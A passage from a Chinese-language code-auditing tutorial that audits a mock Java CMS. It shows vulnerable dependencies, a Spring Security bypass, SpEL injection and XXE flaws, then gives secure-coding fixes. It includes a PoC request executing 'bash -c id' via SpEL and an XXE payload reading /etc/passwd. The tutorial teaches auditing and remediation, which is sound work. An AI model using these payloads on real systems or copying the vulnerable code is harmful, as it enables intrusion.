| 本地开发 | Semgrep IDE | 实时 | 提示 |
| 提交前 | Semgrep CLI | 每次 commit| ERROR 阻断 |
| CI 流水线 | CodeQL | 每次 PR | 高危阻断 |
| 定期全量 | Fortify/Checkmarx | 每周/发布前 | 生成审计报告 |
——————————————————————————–
七、实战案例:完整审计一个 CMS 系统
——————————————————————————–
本节以一个模拟的 Java CMS 系统为例,演示从路由分析到漏洞链构造的完整
审计流程。
7.1 项目结构分析
```
cms-demo/
├── pom.xml # 依赖管理(审计第一步:看依赖版本)
├── src/main/java/com/cms/
│ ├── CmsApplication.java # 启动类
│ ├── config/
│ │ └── SecurityConfig.java# 安全配置(审计重点:认证授权配置)
│ ├── controller/
│ │ ├── AdminController.java
│ │ ├── ArticleController.java
│ │ └── TemplateController.java
│ ├── service/
│ │ ├── ArticleService.java
│ │ └── TemplateService.java
│ ├── dao/
│ │ └── ArticleMapper.java
│ └── util/
│ ├── XmlUtil.java # 工具类(审计重点:通用危险操作)
│ └── SpelUtil.java
└── src/main/resources/
├── application.yml
└── mapper/
```
7.2 第一步:依赖版本审计(pom.xml)
```xml
<!– 审计发现:存在已知漏洞的依赖 –>
<dependencies>
<!– Fastjson 1.2.47 存在反序列化漏洞 –>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<!– Log4j 2.14.0 存在 Log4Shell (CVE-2021-44228) –>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<!– Spring Boot 2.3.0 存在多个 CVE –>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.3.0.RELEASE</version>
</dependency>
</dependencies>
```
【注意】依赖审计是代码审计的第一步,使用 OWASP Dependency-Check 或
Snyk 扫描 pom.xml / package.json,可快速发现已知组件漏洞(1-Day)。
7.3 第二步:路由与入口点分析
```java
// AdminController.java —— 发现未授权访问 + SSTI 组合漏洞
@RestController
@RequestMapping("/admin")
public class AdminController {
@Autowired
private TemplateService templateService;
// 【漏洞点 1】缺少权限注解,任意用户可访问
@PostMapping("/template/preview")
public String previewTemplate(@RequestBody Map<String, String> body) {
String content = body.get("content");
// 【漏洞点 2】调用 SpelUtil,用户输入流入 SpEL 解析
return templateService.render(content);
}
}
```
7.4 第三步:自顶向下追踪数据流
```java
// TemplateService.java
@Service
public class TemplateService {
public String render(String content) {
// 数据流:content -> SpelUtil.eval
return SpelUtil.eval(content);
}
}
// SpelUtil.java —— 最终 Sink
public class SpelUtil {
public static String eval(String expr) {
SpelExpressionParser parser = new SpelExpressionParser();
// 【漏洞确认】无安全上下文,直接解析用户表达式
return parser.parseExpression(expr).getValue().toString();
}
}
```
数据流追踪结论:
– Source:previewTemplate 的 @RequestBody content
– Sink:SpelExpressionParser.parseExpression
– 净化:无
– 结论:存在 SpEL 注入漏洞
7.5 第四步:构造漏洞链
审计发现,AdminController 的 /admin/template/preview 接口需要管理员
权限。但进一步分析 SecurityConfig 发现认证配置存在缺陷:
```java
// SecurityConfig.java
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/admin/**").authenticated() // 需要登录
.antMatchers("/**").permitAll()
// 【漏洞】Spring Security 默认会拦截 /admin/**
// 但 antMatchers 顺序错误,permitAll 在前导致 /admin/ 被放行
.and().formLogin().permitAll();
}
}
```
漏洞链构造:
```
漏洞 1(权限绕过):SecurityConfig 中 antMatchers 顺序错误,
/** permitAll 覆盖了 /admin/** authenticated,
导致 /admin/template/preview 可被未认证用户访问。
漏洞 2(SpEL 注入):previewTemplate 接口将用户输入解析为 SpEL 表达式。
组合利用链:
未授权访问 -> SpEL 注入 -> 任意命令执行 -> 获取服务器权限
PoC:
POST /admin/template/preview
Content-Type: application/json
{"content": "T(java.lang.Runtime).getRuntime().exec(new String[]{\\"bash\\",\\"-c\\",\\"id\\"})"}
```
7.6 第五步:发现第二个漏洞(XXE)
继续审计 XmlUtil 工具类:
```java
// XmlUtil.java
public class XmlUtil {
public static Document parse(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 【漏洞】未禁用外部实体
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new InputSource(new StringReader(xml)));
}
}
```
搜索 XmlUtil.parse 的调用方:
```java
// ArticleController.java
@PostMapping("/import")
public String importArticle(@RequestBody String xml) throws Exception {
Document doc = XmlUtil.parse(xml);
// 解析 XML 导入文章
return "导入成功";
}
```
漏洞链:未授权访问 + XXE 文件读取
```
POST /import
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```
7.7 审计报告输出
| 编号 | 漏洞名称 | 严重程度 | 位置 | 类型 |
|——|—————|———-|——————————-|———-|
| V-01 | SpEL 注入 | 严重 | SpelUtil.eval | 白盒确认 |
| V-02 | 权限绕过 | 高危 | SecurityConfig.configure | 白盒确认 |
| V-03 | XXE 注入 | 高危 | XmlUtil.parse | 白盒确认 |
| V-04 | Log4Shell | 严重 | pom.xml (log4j 2.14.0) | 依赖扫描 |
| V-05 | Fastjson RCE | 严重 | pom.xml (fastjson 1.2.47) | 依赖扫描 |
——————————————————————————–
八、代码安全修复建议
——————————————————————————–
8.1 通用安全编码原则
```
1. 永不信任用户输入(Never Trust User Input)
– 所有外部输入均需校验、过滤、转义
– 采用"白名单优先"策略,拒绝一切非预期输入
2. 纵深防御(Defense in Depth)
– 不依赖单一防线,输入校验 + 输出编码 + 权限控制多层叠加
– 即使某层被绕过,其他层仍能提供保护
3. 最小权限原则(Least Privilege)
– 应用以最低必要权限运行,避免 root / Administrator
– 数据库账户仅授予必要表的必要权限
4. 安全默认(Secure by Default)
– 默认配置应是安全的,不安全选项需显式开启
– 如 XML 解析默认禁用外部实体
```
8.2 各语言针对性修复建议
Java 修复要点:
```java
// 1. SpEL:使用安全上下文
SimpleEvaluationContext.forReadOnlyDataBinding().build();
// 2. JNDI:白名单校验 + 升级 JDK
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
// 3. XXE:统一封装安全 XML 解析工厂
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 4. 模板:用户输入作为数据而非模板
render_template_string('<p>{{name}}</p>', name=userInput);
// 5. 依赖:定期扫描 pom.xml,使用 Dependency-Check / Snyk
```
PHP 修复要点:
```php
// 1. 禁用危险函数(php.ini)
disable_functions = eval,exec,system,passthru,shell_exec
// 2. extract 使用 EXTR_SKIP
extract($data, EXTR_SKIP);
// 3. 路径校验用 realpath
$real = realpath($path);
if (strpos($real, $baseDir) !== 0) die('非法路径');
// 4. 文件包含用白名单
if (!in_array($page, $allowed, true)) $page = 'default';
// 5. 参数化查询(如使用 PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);
```
Python 修复要点:
```python
# 1. 禁用 pickle 反序列化用户数据,改用 json
json.loads(data)
# 2. Jinja2 用 SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
# 3. subprocess 用列表参数,避免 shell=True
subprocess.run(['ls', '-la'], shell=False) # 不要 shell=True
# 4. PyYAML 用 safe_load
yaml.safe_load(data)
# 5. 不依赖沙箱,用容器隔离不可信代码
```
8.3 安全开发生命周期(SDLC)融入
| 阶段 | 安全活动 | 工具 |
|————–|—————————————|———————-|
| 需求设计 | 威胁建模(STRIDE) | Threat Modeling Tool |
| 编码开发 | 安全编码规范 + IDE 实时扫描 | Semgrep IDE 插件 |
| 代码提交 | Pre-commit 钩子扫描 | Semgrep / Git Hooks |
| CI/CD 构建 | SAST 扫描 + 依赖检查 | CodeQL / Dependency-Check |
| 测试阶段 | DAST 扫描 + 人工渗透测试 | ZAP / Burp Suite |
| 上线发布 | 安全评审 + 漏洞修复确认 | 安全门禁 |
| 运维运营 | 监控告警 + 定期复测 | WAF / SIEM |
——————————————————————————–
九、总结
——————————————————————————–
代码审计是一项需要耐心、经验与系统性思维的工作。本文从方法论、工具、
三大语言实战、自动化、完整案例五个维度,系统梳理了代码审计的核心知识。
核心要点回顾:
1. 方法论是根基
– "自底向上 + 自顶向下"结合,先搜 Sink 再回溯 Source
– 工具初筛 + 人工复核,效率与准确性兼顾
2. 工具是助力而非依赖
– Semgrep 快速扫描、CodeQL 深度分析、IDE 手工审计三位一体
– 没有银弹,每个工具都有盲区
3. 数据流追踪是核心技能
– 牢记 Source(输入点)-> 净化 -> Sink(危险函数)模型
– 重点审查"净化函数"是否可被绕过
4. 漏洞链构造决定危害等级
– 单个低危漏洞组合后可能成为致命利用链
– 权限绕过 + 注入类漏洞是最常见的组合模式
5. 安全左移是趋势
– 在开发阶段消除漏洞成本最低
– 将审计工具融入 CI/CD,实现持续安全
进阶学习路径建议:
```
入门:掌握一门语言基础 + 阅读 OWASP Top 10
-> 使用 Semgrep 扫描开源项目,理解漏洞模式
进阶:学习 CodeQL,编写自定义污点追踪查询
-> 审计 2-3 个开源 CMS,积累实战经验
高级:研究 CVE 漏洞分析,复现漏洞链
-> 关注组件级漏洞(Fastjson、Log4j、Shiro)
-> 参与漏洞赏金计划,实战检验能力
```
【提示】代码审计能力的提升没有捷径,关键在于"多读、多审、多复盘"。
建议从审计中小型开源项目入手(如 Java 的某个小型 CMS),逐步积累
对各类漏洞模式的敏感度,最终形成自己的审计方法论。
网硕互联帮助中心



评论前必须登录!
注册